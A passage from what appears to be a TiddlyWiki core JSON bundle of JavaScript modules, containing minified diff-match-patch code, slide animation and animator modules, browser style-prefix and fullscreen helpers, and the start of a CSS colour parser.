c=[],d=0,e=0,f=b.split(/\\t/g),g=0;g<f.length;g++){var h=f[g].substring(1);switch(f[g].charAt(0)){case \"+\":try{c[d++]=[DIFF_INSERT,decodeURI(h)]}catch(k){throw Error(\"Illegal escape in diff_fromDelta: \"+h);}break;case \"-\":case \"=\":var l=parseInt(h,10);if(isNaN(l)||0>l)throw Error(\"Invalid number in diff_fromDelta: \"+h);h=a.substring(e,e+=l);\"=\"==f[g].charAt(0)?c[d++]=[DIFF_EQUAL,h]:c[d++]=[DIFF_DELETE,h];break;default:if(f[g])throw Error(\"Invalid diff operation in diff_fromDelta: \"+\nf[g]);}}if(e!=a.length)throw Error(\"Delta length (\"+e+\") does not equal source text length (\"+a.length+\").\");return c};diff_match_patch.prototype.match_main=function(a,b,c){if(null==a||null==b||null==c)throw Error(\"Null input. (match_main)\");c=Math.max(0,Math.min(c,a.length));return a==b?0:a.length?a.substring(c,c+b.length)==b?c:this.match_bitap_(a,b,c):-1};\ndiff_match_patch.prototype.match_bitap_=function(a,b,c){function d(a,d){var e=a/b.length,g=Math.abs(c-d);return f.Match_Distance?e+g/f.Match_Distance:g?1:e}if(b.length>this.Match_MaxBits)throw Error(\"Pattern too long for this browser.\");var e=this.match_alphabet_(b),f=this,g=this.Match_Threshold,h=a.indexOf(b,c);-1!=h&&(g=Math.min(d(0,h),g),h=a.lastIndexOf(b,c+b.length),-1!=h&&(g=Math.min(d(0,h),g)));var l=1<<b.length-1;h=-1;for(var k,m,p=b.length+a.length,x,w=0;w<b.length;w++){k=0;for(m=p;k<m;)d(w,\nc+m)<=g?k=m:p=m,m=Math.floor((p-k)/2+k);p=m;k=Math.max(1,c-m+1);var q=Math.min(c+m,a.length)+b.length;m=Array(q+2);for(m[q+1]=(1<<w)-1;q>=k;q--){var t=e[a.charAt(q-1)];m[q]=0===w?(m[q+1]<<1|1)&t:(m[q+1]<<1|1)&t|(x[q+1]|x[q])<<1|1|x[q+1];if(m[q]&l&&(t=d(w,q-1),t<=g))if(g=t,h=q-1,h>c)k=Math.max(1,2*c-h);else break}if(d(w+1,c)>g)break;x=m}return h};\ndiff_match_patch.prototype.match_alphabet_=function(a){for(var b={},c=0;c<a.length;c++)b[a.charAt(c)]=0;for(c=0;c<a.length;c++)b[a.charAt(c)]|=1<<a.length-c-1;return b};\ndiff_match_patch.prototype.patch_addContext_=function(a,b){if(0!=b.length){for(var c=b.substring(a.start2,a.start2+a.length1),d=0;b.indexOf(c)!=b.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)d+=this.Patch_Margin,c=b.substring(a.start2-d,a.start2+a.length1+d);d+=this.Patch_Margin;(c=b.substring(a.start2-d,a.start2))&&a.diffs.unshift([DIFF_EQUAL,c]);(d=b.substring(a.start2+a.length1,a.start2+a.length1+d))&&a.diffs.push([DIFF_EQUAL,d]);a.start1-=c.length;a.start2-=\nc.length;a.length1+=c.length+d.length;a.length2+=c.length+d.length}};\ndiff_match_patch.prototype.patch_make=function(a,b,c){if(\"string\"==typeof a&&\"string\"==typeof b&&\"undefined\"==typeof c){var d=a;b=this.diff_main(d,b,!0);2<b.length&&(this.diff_cleanupSemantic(b),this.diff_cleanupEfficiency(b))}else if(a&&\"object\"==typeof a&&\"undefined\"==typeof b&&\"undefined\"==typeof c)b=a,d=this.diff_text1(b);else if(\"string\"==typeof a&&b&&\"object\"==typeof b&&\"undefined\"==typeof c)d=a;else if(\"string\"==typeof a&&\"string\"==typeof b&&c&&\"object\"==typeof c)d=a,b=c;else throw Error(\"Unknown call format to patch_make.\");\nif(0===b.length)return[];c=[];a=new diff_match_patch.patch_obj;for(var e=0,f=0,g=0,h=d,l=0;l<b.length;l++){var k=b[l][0],m=b[l][1];e||k===DIFF_EQUAL||(a.start1=f,a.start2=g);switch(k){case DIFF_INSERT:a.diffs[e++]=b[l];a.length2+=m.length;d=d.substring(0,g)+m+d.substring(g);break;case DIFF_DELETE:a.length1+=m.length;a.diffs[e++]=b[l];d=d.substring(0,g)+d.substring(g+m.length);break;case DIFF_EQUAL:m.length<=2*this.Patch_Margin&&e&&b.length!=l+1?(a.diffs[e++]=b[l],a.length1+=m.length,a.length2+=m.length):\nm.length>=2*this.Patch_Margin&&e&&(this.patch_addContext_(a,h),c.push(a),a=new diff_match_patch.patch_obj,e=0,h=d,f=g)}k!==DIFF_INSERT&&(f+=m.length);k!==DIFF_DELETE&&(g+=m.length)}e&&(this.patch_addContext_(a,h),c.push(a));return c};\ndiff_match_patch.prototype.patch_deepCopy=function(a){for(var b=[],c=0;c<a.length;c++){var d=a[c],e=new diff_match_patch.patch_obj;e.diffs=[];for(var f=0;f<d.diffs.length;f++)e.diffs[f]=d.diffs[f].slice();e.start1=d.start1;e.start2=d.start2;e.length1=d.length1;e.length2=d.length2;b[c]=e}return b};\ndiff_match_patch.prototype.patch_apply=function(a,b){if(0==a.length)return[b,[]];a=this.patch_deepCopy(a);var c=this.patch_addPadding(a);b=c+b+c;this.patch_splitMax(a);for(var d=0,e=[],f=0;f<a.length;f++){var g=a[f].start2+d,h=this.diff_text1(a[f].diffs),l=-1;if(h.length>this.Match_MaxBits){var k=this.match_main(b,h.substring(0,this.Match_MaxBits),g);-1!=k&&(l=this.match_main(b,h.substring(h.length-this.Match_MaxBits),g+h.length-this.Match_MaxBits),-1==l||k>=l)&&(k=-1)}else k=this.match_main(b,h,\ng);if(-1==k)e[f]=!1,d-=a[f].length2-a[f].length1;else if(e[f]=!0,d=k-g,g=-1==l?b.substring(k,k+h.length):b.substring(k,l+this.Match_MaxBits),h==g)b=b.substring(0,k)+this.diff_text2(a[f].diffs)+b.substring(k+h.length);else if(g=this.diff_main(h,g,!1),h.length>this.Match_MaxBits&&this.diff_levenshtein(g)/h.length>this.Patch_DeleteThreshold)e[f]=!1;else{this.diff_cleanupSemanticLossless(g);h=0;var m;for(l=0;l<a[f].diffs.length;l++){var p=a[f].diffs[l];p[0]!==DIFF_EQUAL&&(m=this.diff_xIndex(g,h));p[0]===\nDIFF_INSERT?b=b.substring(0,k+m)+p[1]+b.substring(k+m):p[0]===DIFF_DELETE&&(b=b.substring(0,k+m)+b.substring(k+this.diff_xIndex(g,h+p[1].length)));p[0]!==DIFF_DELETE&&(h+=p[1].length)}}}b=b.substring(c.length,b.length-c.length);return[b,e]};\ndiff_match_patch.prototype.patch_addPadding=function(a){for(var b=this.Patch_Margin,c=\"\",d=1;d<=b;d++)c+=String.fromCharCode(d);for(d=0;d<a.length;d++)a[d].start1+=b,a[d].start2+=b;d=a[0];var e=d.diffs;if(0==e.length||e[0][0]!=DIFF_EQUAL)e.unshift([DIFF_EQUAL,c]),d.start1-=b,d.start2-=b,d.length1+=b,d.length2+=b;else if(b>e[0][1].length){var f=b-e[0][1].length;e[0][1]=c.substring(e[0][1].length)+e[0][1];d.start1-=f;d.start2-=f;d.length1+=f;d.length2+=f}d=a[a.length-1];e=d.diffs;0==e.length||e[e.length-\n1][0]!=DIFF_EQUAL?(e.push([DIFF_EQUAL,c]),d.length1+=b,d.length2+=b):b>e[e.length-1][1].length&&(f=b-e[e.length-1][1].length,e[e.length-1][1]+=c.substring(0,f),d.length1+=f,d.length2+=f);return c};\ndiff_match_patch.prototype.patch_splitMax=function(a){for(var b=this.Match_MaxBits,c=0;c<a.length;c++)if(!(a[c].length1<=b)){var d=a[c];a.splice(c--,1);for(var e=d.start1,f=d.start2,g=\"\";0!==d.diffs.length;){var h=new diff_match_patch.patch_obj,l=!0;h.start1=e-g.length;h.start2=f-g.length;\"\"!==g&&(h.length1=h.length2=g.length,h.diffs.push([DIFF_EQUAL,g]));for(;0!==d.diffs.length&&h.length1<b-this.Patch_Margin;){g=d.diffs[0][0];var k=d.diffs[0][1];g===DIFF_INSERT?(h.length2+=k.length,f+=k.length,h.diffs.push(d.diffs.shift()),\nl=!1):g===DIFF_DELETE&&1==h.diffs.length&&h.diffs[0][0]==DIFF_EQUAL&&k.length>2*b?(h.length1+=k.length,e+=k.length,l=!1,h.diffs.push([g,k]),d.diffs.shift()):(k=k.substring(0,b-h.length1-this.Patch_Margin),h.length1+=k.length,e+=k.length,g===DIFF_EQUAL?(h.length2+=k.length,f+=k.length):l=!1,h.diffs.push([g,k]),k==d.diffs[0][1]?d.diffs.shift():d.diffs[0][1]=d.diffs[0][1].substring(k.length))}g=this.diff_text2(h.diffs);g=g.substring(g.length-this.Patch_Margin);k=this.diff_text1(d.diffs).substring(0,\nthis.Patch_Margin);\"\"!==k&&(h.length1+=k.length,h.length2+=k.length,0!==h.diffs.length&&h.diffs[h.diffs.length-1][0]===DIFF_EQUAL?h.diffs[h.diffs.length-1][1]+=k:h.diffs.push([DIFF_EQUAL,k]));l||a.splice(++c,0,h)}}};diff_match_patch.prototype.patch_toText=function(a){for(var b=[],c=0;c<a.length;c++)b[c]=a[c];return b.join(\"\")};\ndiff_match_patch.prototype.patch_fromText=function(a){var b=[];if(!a)return b;a=a.split(\"\\n\");for(var c=0,d=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;c<a.length;){var e=a[c].match(d);if(!e)throw Error(\"Invalid patch string: \"+a[c]);var f=new diff_match_patch.patch_obj;b.push(f);f.start1=parseInt(e[1],10);\"\"===e[2]?(f.start1--,f.length1=1):\"0\"==e[2]?f.length1=0:(f.start1--,f.length1=parseInt(e[2],10));f.start2=parseInt(e[3],10);\"\"===e[4]?(f.start2--,f.length2=1):\"0\"==e[4]?f.length2=0:(f.start2--,f.length2=\nparseInt(e[4],10));for(c++;c<a.length;){e=a[c].charAt(0);try{var g=decodeURI(a[c].substring(1))}catch(h){throw Error(\"Illegal escape in patch_fromText: \"+g);}if(\"-\"==e)f.diffs.push([DIFF_DELETE,g]);else if(\"+\"==e)f.diffs.push([DIFF_INSERT,g]);else if(\" \"==e)f.diffs.push([DIFF_EQUAL,g]);else if(\"@\"==e)break;else if(\"\"!==e)throw Error('Invalid patch mode \"'+e+'\" in: '+g);c++}}return b};diff_match_patch.patch_obj=function(){this.diffs=[];this.start2=this.start1=null;this.length2=this.length1=0};\ndiff_match_patch.patch_obj.prototype.toString=function(){for(var a=[\"@@ -\"+(0===this.length1?this.start1+\",0\":1==this.length1?this.start1+1:this.start1+1+\",\"+this.length1)+\" +\"+(0===this.length2?this.start2+\",0\":1==this.length2?this.start2+1:this.start2+1+\",\"+this.length2)+\" @@\\n\"],b,c=0;c<this.diffs.length;c++){switch(this.diffs[c][0]){case DIFF_INSERT:b=\"+\";break;case DIFF_DELETE:b=\"-\";break;case DIFF_EQUAL:b=\" \"}a[c+1]=b+encodeURI(this.diffs[c][1])+\"\\n\"}return a.join(\"\").replace(/%20/g,\" \")};\nthis.diff_match_patch=diff_match_patch;this.DIFF_DELETE=DIFF_DELETE;this.DIFF_INSERT=DIFF_INSERT;this.DIFF_EQUAL=DIFF_EQUAL;\n}).call(exports);",
            "type": "application/javascript",
            "title": "$:/core/modules/utils/diff-match-patch/diff_match_patch.js",
            "module-type": "library"
        },
        "$:/core/modules/utils/dom/animations/slide.js": {
            "title": "$:/core/modules/utils/dom/animations/slide.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/animations/slide.js\ntype: application/javascript\nmodule-type: animation\n\nA simple slide animation that varies the height of the element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction slideOpen(domNode,options) {\n\toptions = options || {};\n\tvar duration = options.duration || $tw.utils.getAnimationDuration();\n\t// Get the current height of the domNode\n\tvar computedStyle = window.getComputedStyle(domNode),\n\t\tcurrMarginBottom = parseInt(computedStyle.marginBottom,10),\n\t\tcurrMarginTop = parseInt(computedStyle.marginTop,10),\n\t\tcurrPaddingBottom = parseInt(computedStyle.paddingBottom,10),\n\t\tcurrPaddingTop = parseInt(computedStyle.paddingTop,10),\n\t\tcurrHeight = domNode.offsetHeight;\n\t// Reset the margin once the transition is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(domNode,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: \"\"},\n\t\t\t{marginTop: \"\"},\n\t\t\t{paddingBottom: \"\"},\n\t\t\t{paddingTop: \"\"},\n\t\t\t{height: \"auto\"},\n\t\t\t{opacity: \"\"}\n\t\t]);\n\t\tif(options.callback) {\n\t\t\toptions.callback();\n\t\t}\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"none\"},\n\t\t{marginTop: \"0px\"},\n\t\t{marginBottom: \"0px\"},\n\t\t{paddingTop: \"0px\"},\n\t\t{paddingBottom: \"0px\"},\n\t\t{height: \"0px\"},\n\t\t{opacity: \"0\"}\n\t]);\n\t$tw.utils.forceLayout(domNode);\n\t// Transition to the final position\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"margin-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"height \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{marginBottom: currMarginBottom + \"px\"},\n\t\t{marginTop: currMarginTop + \"px\"},\n\t\t{paddingBottom: currPaddingBottom + \"px\"},\n\t\t{paddingTop: currPaddingTop + \"px\"},\n\t\t{height: currHeight + \"px\"},\n\t\t{opacity: \"1\"}\n\t]);\n}\n\nfunction slideClosed(domNode,options) {\n\toptions = options || {};\n\tvar duration = options.duration || $tw.utils.getAnimationDuration(),\n\t\tcurrHeight = domNode.offsetHeight;\n\t// Clear the properties we've set when the animation is over\n\tsetTimeout(function() {\n\t\t$tw.utils.setStyle(domNode,[\n\t\t\t{transition: \"none\"},\n\t\t\t{marginBottom: \"\"},\n\t\t\t{marginTop: \"\"},\n\t\t\t{paddingBottom: \"\"},\n\t\t\t{paddingTop: \"\"},\n\t\t\t{height: \"auto\"},\n\t\t\t{opacity: \"\"}\n\t\t]);\n\t\tif(options.callback) {\n\t\t\toptions.callback();\n\t\t}\n\t},duration);\n\t// Set up the initial position of the element\n\t$tw.utils.setStyle(domNode,[\n\t\t{height: currHeight + \"px\"},\n\t\t{opacity: \"1\"}\n\t]);\n\t$tw.utils.forceLayout(domNode);\n\t// Transition to the final position\n\t$tw.utils.setStyle(domNode,[\n\t\t{transition: \"margin-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"margin-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-top \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"padding-bottom \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"height \" + duration + \"ms ease-in-out, \" +\n\t\t\t\t\t\"opacity \" + duration + \"ms ease-in-out\"},\n\t\t{marginTop: \"0px\"},\n\t\t{marginBottom: \"0px\"},\n\t\t{paddingTop: \"0px\"},\n\t\t{paddingBottom: \"0px\"},\n\t\t{height: \"0px\"},\n\t\t{opacity: \"0\"}\n\t]);\n}\n\nexports.slide = {\n\topen: slideOpen,\n\tclose: slideClosed\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "animation"
        },
        "$:/core/modules/utils/dom/animator.js": {
            "title": "$:/core/modules/utils/dom/animator.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/animator.js\ntype: application/javascript\nmodule-type: utils\n\nOrchestrates animations and transitions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction Animator() {\n\t// Get the registered animation modules\n\tthis.animations = {};\n\t$tw.modules.applyMethods(\"animation\",this.animations);\n}\n\nAnimator.prototype.perform = function(type,domNode,options) {\n\toptions = options || {};\n\t// Find an animation that can handle this type\n\tvar chosenAnimation;\n\t$tw.utils.each(this.animations,function(animation,name) {\n\t\tif($tw.utils.hop(animation,type)) {\n\t\t\tchosenAnimation = animation[type];\n\t\t}\n\t});\n\tif(!chosenAnimation) {\n\t\tchosenAnimation = function(domNode,options) {\n\t\t\tif(options.callback) {\n\t\t\t\toptions.callback();\n\t\t\t}\n\t\t};\n\t}\n\t// Call the animation\n\tchosenAnimation(domNode,options);\n};\n\nexports.Animator = Animator;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/browser.js": {
            "title": "$:/core/modules/utils/dom/browser.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/dom/browser.js\ntype: application/javascript\nmodule-type: utils\n\nBrowser feature detection\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nSet style properties of an element\n\telement: dom node\n\tstyles: ordered array of {name: value} pairs\n*/\nexports.setStyle = function(element,styles) {\n\tif(element.nodeType === 1) { // Element.ELEMENT_NODE\n\t\tfor(var t=0; t<styles.length; t++) {\n\t\t\tfor(var styleName in styles[t]) {\n\t\t\t\telement.style[$tw.utils.convertStyleNameToPropertyName(styleName)] = styles[t][styleName];\n\t\t\t}\n\t\t}\n\t}\n};\n\n/*\nConverts a standard CSS property name into the local browser-specific equivalent. For example:\n\t\"background-color\" --> \"backgroundColor\"\n\t\"transition\" --> \"webkitTransition\"\n*/\n\nvar styleNameCache = {}; // We'll cache the style name conversions\n\nexports.convertStyleNameToPropertyName = function(styleName) {\n\t// Return from the cache if we can\n\tif(styleNameCache[styleName]) {\n\t\treturn styleNameCache[styleName];\n\t}\n\t// Convert it by first removing any hyphens\n\tvar propertyName = $tw.utils.unHyphenateCss(styleName);\n\t// Then check if it needs a prefix\n\tif($tw.browser && document.body.style[propertyName] === undefined) {\n\t\tvar prefixes = [\"O\",\"MS\",\"Moz\",\"webkit\"];\n\t\tfor(var t=0; t<prefixes.length; t++) {\n\t\t\tvar prefixedName = prefixes[t] + propertyName.substr(0,1).toUpperCase() + propertyName.substr(1);\n\t\t\tif(document.body.style[prefixedName] !== undefined) {\n\t\t\t\tpropertyName = prefixedName;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\t// Put it in the cache too\n\tstyleNameCache[styleName] = propertyName;\n\treturn propertyName;\n};\n\n/*\nConverts a JS format CSS property name back into the dashed form used in CSS declarations. For example:\n\t\"backgroundColor\" --> \"background-color\"\n\t\"webkitTransform\" --> \"-webkit-transform\"\n*/\nexports.convertPropertyNameToStyleName = function(propertyName) {\n\t// Rehyphenate the name\n\tvar styleName = $tw.utils.hyphenateCss(propertyName);\n\t// If there's a webkit prefix, add a dash (other browsers have uppercase prefixes, and so get the dash automatically)\n\tif(styleName.indexOf(\"webkit\") === 0) {\n\t\tstyleName = \"-\" + styleName;\n\t} else if(styleName.indexOf(\"-m-s\") === 0) {\n\t\tstyleName = \"-ms\" + styleName.substr(4);\n\t}\n\treturn styleName;\n};\n\n/*\nRound trip a stylename to a property name and back again. For example:\n\t\"transform\" --> \"webkitTransform\" --> \"-webkit-transform\"\n*/\nexports.roundTripPropertyName = function(propertyName) {\n\treturn $tw.utils.convertPropertyNameToStyleName($tw.utils.convertStyleNameToPropertyName(propertyName));\n};\n\n/*\nConverts a standard event name into the local browser specific equivalent. For example:\n\t\"animationEnd\" --> \"webkitAnimationEnd\"\n*/\n\nvar eventNameCache = {}; // We'll cache the conversions\n\nvar eventNameMappings = {\n\t\"transitionEnd\": {\n\t\tcorrespondingCssProperty: \"transition\",\n\t\tmappings: {\n\t\t\ttransition: \"transitionend\",\n\t\t\tOTransition: \"oTransitionEnd\",\n\t\t\tMSTransition: \"msTransitionEnd\",\n\t\t\tMozTransition: \"transitionend\",\n\t\t\twebkitTransition: \"webkitTransitionEnd\"\n\t\t}\n\t},\n\t\"animationEnd\": {\n\t\tcorrespondingCssProperty: \"animation\",\n\t\tmappings: {\n\t\t\tanimation: \"animationend\",\n\t\t\tOAnimation: \"oAnimationEnd\",\n\t\t\tMSAnimation: \"msAnimationEnd\",\n\t\t\tMozAnimation: \"animationend\",\n\t\t\twebkitAnimation: \"webkitAnimationEnd\"\n\t\t}\n\t}\n};\n\nexports.convertEventName = function(eventName) {\n\tif(eventNameCache[eventName]) {\n\t\treturn eventNameCache[eventName];\n\t}\n\tvar newEventName = eventName,\n\t\tmappings = eventNameMappings[eventName];\n\tif(mappings) {\n\t\tvar convertedProperty = $tw.utils.convertStyleNameToPropertyName(mappings.correspondingCssProperty);\n\t\tif(mappings.mappings[convertedProperty]) {\n\t\t\tnewEventName = mappings.mappings[convertedProperty];\n\t\t}\n\t}\n\t// Put it in the cache too\n\teventNameCache[eventName] = newEventName;\n\treturn newEventName;\n};\n\n/*\nReturn the names of the fullscreen APIs\n*/\nexports.getFullScreenApis = function() {\n\tvar d = document,\n\t\tdb = d.body,\n\t\tresult = {\n\t\t\"_requestFullscreen\": db.webkitRequestFullscreen !== undefined ? \"webkitRequestFullscreen\" :\n\t\t\t\t\t\t\tdb.mozRequestFullScreen !== undefined ? \"mozRequestFullScreen\" :\n\t\t\t\t\t\t\tdb.msRequestFullscreen !== undefined ? \"msRequestFullscreen\" :\n\t\t\t\t\t\t\tdb.requestFullscreen !== undefined ? \"requestFullscreen\" : \"\",\n\t\t\"_exitFullscreen\": d.webkitExitFullscreen !== undefined ? \"webkitExitFullscreen\" :\n\t\t\t\t\t\t\td.mozCancelFullScreen !== undefined ? \"mozCancelFullScreen\" :\n\t\t\t\t\t\t\td.msExitFullscreen !== undefined ? \"msExitFullscreen\" :\n\t\t\t\t\t\t\td.exitFullscreen !== undefined ? \"exitFullscreen\" : \"\",\n\t\t\"_fullscreenElement\": d.webkitFullscreenElement !== undefined ? \"webkitFullscreenElement\" :\n\t\t\t\t\t\t\td.mozFullScreenElement !== undefined ? \"mozFullScreenElement\" :\n\t\t\t\t\t\t\td.msFullscreenElement !== undefined ? \"msFullscreenElement\" :\n\t\t\t\t\t\t\td.fullscreenElement !== undefined ? \"fullscreenElement\" : \"\",\n\t\t\"_fullscreenChange\": d.webkitFullscreenElement !== undefined ? \"webkitfullscreenchange\" :\n\t\t\t\t\t\t\td.mozFullScreenElement !== undefined ? \"mozfullscreenchange\" :\n\t\t\t\t\t\t\td.msFullscreenElement !== undefined ? \"MSFullscreenChange\" :\n\t\t\t\t\t\t\td.fullscreenElement !== undefined ? \"fullscreenchange\" : \"\"\n\t};\n\tif(!result._requestFullscreen || !result._exitFullscreen || !result._fullscreenElement || !result._fullscreenChange) {\n\t\treturn null;\n\t} else {\n\t\treturn result;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/dom/csscolorparser.js": {
            "title": "$:/core/modules/utils/dom/csscolorparser.js",
            "text": "// (c) Dean McNamee <dean@gmail.com>, 2012.\n//\n// https://github.com/deanm/css-color-parser-js\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to\n// deal in the Software without restriction, including without limitation the\n// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n// sell copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n// IN THE SOFTWARE.\n\n// http://www.w3.org/TR/css3-color/\nvar kCSSColorTable = {\n  \"transparent\": [0,0,0,0], \"aliceblue\": [240,248,255,1],\n  \"antiquewhite\": [250,235,215,1], \"aqua\": [0,255,255,1],\n  \"aquamarine\": [127,255,212,1], \"azure\": [240,255,255,1],\n  \"beige\": [245,245,220,1], \"bisque\": [255,228,196,1],\n  \"black\": [0,0,0,1], \"blanchedalmond\": [255,235,205,1],\n  \"blue\": [0,0,255,1], \"blueviolet\": [138,43,226,1],\n  \"brown\": [165,42,42,1], \"burlywood\": [222,184,135,1],\n  \"cadetblue\": [95,158,160,1], \"chartreuse\": [127,255,0,1],\n  \"chocolate\": [210,105,30,1], \"coral\": [255,127,80,1],\n  \"cornflowerblue\": [100,149,237,1], \"cornsilk\": [255,248,220,1],\n  \"crimson\": [220,20,60,1], \"cyan\": [0,255,255,1],\n  \"darkblue\": [0,0,139,1], \"darkcyan\": [0,139,139,1],\n  \"darkgoldenrod\": [184,134,11,1], \"darkgray\": [169,169,169,1],\n  \"darkgreen\": [0,100,0,1], \"darkgrey\": [169,169,169,1],\n  \"darkkhaki\": [189,183,107,1], \"darkmagenta\": [139,0,139,1],\n  \"darkolivegreen\": [85,107,47,1], \"darkorange\": [255,140,0,1],\n  \"darkorchid\": [153,50,204,1], \"darkred\": [139,0,0,1],\n  \"darksalmon\": [233,150,122,1], \"darkseagreen\": [143,188,143,1],\n  \"darkslateblue\": [72,61,139,1], \"darkslategray\": [47,79,79,1],\n  \"darkslategrey\": [47,79,79,1], \"darkturquoise\": [0,206,209,1],\n  \"darkviolet\": [148,0,211,1], \"deeppink\": [255,20,147,1],\n  \"deepskyblue\": [0,191,255,1], \"dimgray\": [105,105,105,1],\n  \"dimgrey\": [105,105,105,1], \"dodgerblue\": [30,144,255,1],\n  \"firebrick\": [178,34,34,1], \"floralwhite\": [255,250,240,1],\n  \"forestgreen\": [34,139,34,1], \"fuchsia\": [255,0,255,1],\n  \"gainsboro\": [220,220,220,1], \"ghostwhite\": [248,248,255,1],\n  \"gold\": [255,215,0,1], \"goldenrod\": [218,165,32,1],\n  \"gray\": [128,128,128,1], \"green\": [0,128,0,1],\n  \"greenyellow\": [173,255,47,1], \"grey\": [128,128,128,1],\n  \"honeydew\": [240,255,240,1], \"hotpink\": [255,105,180,1],\n  \"indianred\": [205,92,92,1], \"indigo\": [75,0,130,1],\n  \"ivory\": [255,255,240,1], \"khaki\": [240,230,140,1],\n  \"lavender\": [230,230,250,1], \"lavenderblush\": [255,240,245,1],\n  \"lawngreen\": [124,252,0,1], \"lemonchiffon\": [255,250,205,1],\n  \"lightblue\": [173,216,230,1], \"lightcoral\": [240,128,128,1],\n  \"lightcyan\": [224,255,255,1], \"lightgoldenrodyellow\": [250,250,210,1],\n  \"lightgray\": [211,211,211,1], \"lightgreen\": [144,238,144,1],\n  \"lightgrey\": [211,211,211,1], \"lightpink\": [255,182,193,1],\n  \"lightsalmon\": [255,160,122,1], \"lightseagreen\": [32,178,170,1],\n  \"lightskyblue\": [135,206,250,1], \"lightslategray\": [119,136,153,1],\n  \"lightslategrey\": [119,136,153,1], \"lightsteelblue\": [176,196,222,1],\n  \"lightyellow\": [255,255,224,1], \"lime\": [0,255,0,1],\n  \"limegreen\": [50,205,50,1], \"linen\": [250,240,230,1],\n  \"magenta\": [255,0,255,1], \"maroon\": [128,0,0,1],\n  \"mediumaquamarine\": [102,205,170,1], \"mediumblue\": [0,0,205,1],\n  \"mediumorchid\": [186,85,211,1], \"mediumpurple\": [147,112,219,1],\n  \"mediumseagreen\": [60,179,113,1], \"mediumslateblue\": [123,104,238,1],\n  \"mediumspringgreen\": [0,250,154,1], \"mediumturquoise\": [72,209,204,1],\n  \"mediumvioletred\": [199,21,133,1], \"midnightblue\": [25,25,112,1],\n  \"mintcream\": [245,255,250,1], \"mistyrose\": [255,228,225,1],\n  \"moccasin\": [255,228,181,1], \"navajowhite\": [255,222,173,1],\n  \"navy\": [0,0,128,1], \"oldlace\": [253,245,230,1],\n  \"olive\": [128,128,0,1], \"olivedrab\": [107,142,35,1],\n  \"orange\": [255,165,0,1], \"orangered\": [255,69,0,1],\n  \"orchid\": [218,112,214,1], \"palegoldenrod\": [238,232,170,1],\n  \"palegreen\": [152,251,152,1], \"paleturquoise\": [175,238,238,1],\n  \"palevioletred\": [219,112,147,1], \"papayawhip\": [255,239,213,1],\n  \"peachpuff\": [255,218,185,1], \"peru\": [205,133,63,1],\n  \"pink\": [255,192,203,1], \"plum\": [221,160,221,1],\n  \"powderblue\": [176,224,230,1], \"purple\": [128,0,128,1],\n  \"red\": [255,0,0,1], \"rosybrown\": [188,143,143,1],\n  \"royalblue\": [65,105,225,1], \"saddlebrown\": [139,69,19,1],\n  \"salmon\": [250,128,114,1], \"sandybrown\": [244,164,96,1],\n  \"seagreen\": [46,139,87,1], \"seashell\": [255,245,238,1],\n  \"sienna\": [160,82,45,1], \"silver\": [192,192,192,1],\n  \"skyblue\": [135,206,235,1], \"slateblue\": [106,90,205,1],\n  \"slategray\": [112,128,144,1], \"slategrey\": [112,128,144,1],\n  \"snow\": [255,250,250,1], \"springgreen\": [0,255,127,1],\n  \"steelblue\": [70,130,180,1], \"tan\": [210,180,140,1],\n  \"teal\": [0,128,128,1], \"thistle\": [216,191,216,1],\n  \"tomato\": [255,99,71,1], \"turquoise\": [64,224,208,1],\n  \"violet\": [238,130,238,1], \"wheat\": [245,222,179,1],\n  \"white\": [255,255,255,1], \"whitesmoke\": [245,245,245,1],\n  \"yellow\": [255,255,0,1], \"yellowgreen\": [154,205,50,1]}\n\nfunction clamp_css_byte(i) {  // Clamp to integer 0 .. 255.\n  i = Math.round(i);  // Seems to be what Chrome does (vs truncation).\n  return i < 0 ? 0 : i > 255 ? 255 : 